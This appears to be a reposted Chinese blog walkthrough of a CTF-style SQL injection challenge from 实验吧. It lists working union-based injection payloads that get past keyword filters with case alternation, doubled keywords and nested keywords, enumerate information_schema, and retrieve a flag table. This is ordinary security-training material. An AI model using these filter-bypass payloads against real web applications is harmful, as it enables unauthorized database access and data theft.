我是靠谱客的博主 苗条八宝粥,最近开发中收集的这篇文章主要介绍简单的sql注入之一 (实验吧),觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

1.判断注入类型

1' or '1' = '1 结果如下

测试几个简单的语句后, 1' order by 1 # , 1' select 1 #

根据报错信息 #  -- - order by select 等关键词都被过滤

关键词被过滤:解决方法如下

1大小写交替: Order SeLect 

2.双写  : OderOrder SelectSelect 

3.交叉: selecselectt  

注释符被过滤,解决方法如下:

1.用 '号闭合  ,如having , where

经过测试,发现可用双写绕过关键字过滤,但要注意双写后要加两空格

暴库语句如下:

1' union select schema_name from information_schema.schemata where '1' ='1

 

查询数据表语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schema='web1 

问题来了:这里报错了,错误如下

可以看到 (table_schema='web1) 等号前的table_chema被过滤了,按以上三种方法(双写,交叉,大小写)测试发现,交叉法可以绕过过滤;

新语句如下:

1' unionunion  selectselect  table_name fromfrom  information_schema.tables wherewhere  table_schemtable_schemaa='web1

发现flag,获取flag表的字段名

1' unionunion  selectselect  column_name  fromfrom  information_schema.columns wherewhere  table_name='flag

又有报错信息

比对后发现,from  infromation_schema.columns  被过滤了,老方法,用交叉写法可以绕过

还有 column_name也被过滤了:

1' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.columninformation_schema.columnss wherewhere  table_name='flag

发现flag字段名,获取flag

1' unionunion  selectselect  flag fromfrom  flag wherewhere   '1' ='1

 

最后

以上就是苗条八宝粥为你收集整理的简单的sql注入之一 (实验吧)的全部内容,希望文章能够帮你解决简单的sql注入之一 (实验吧)所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(48)

评论列表共有 0 条评论

立即
投稿
返回
顶部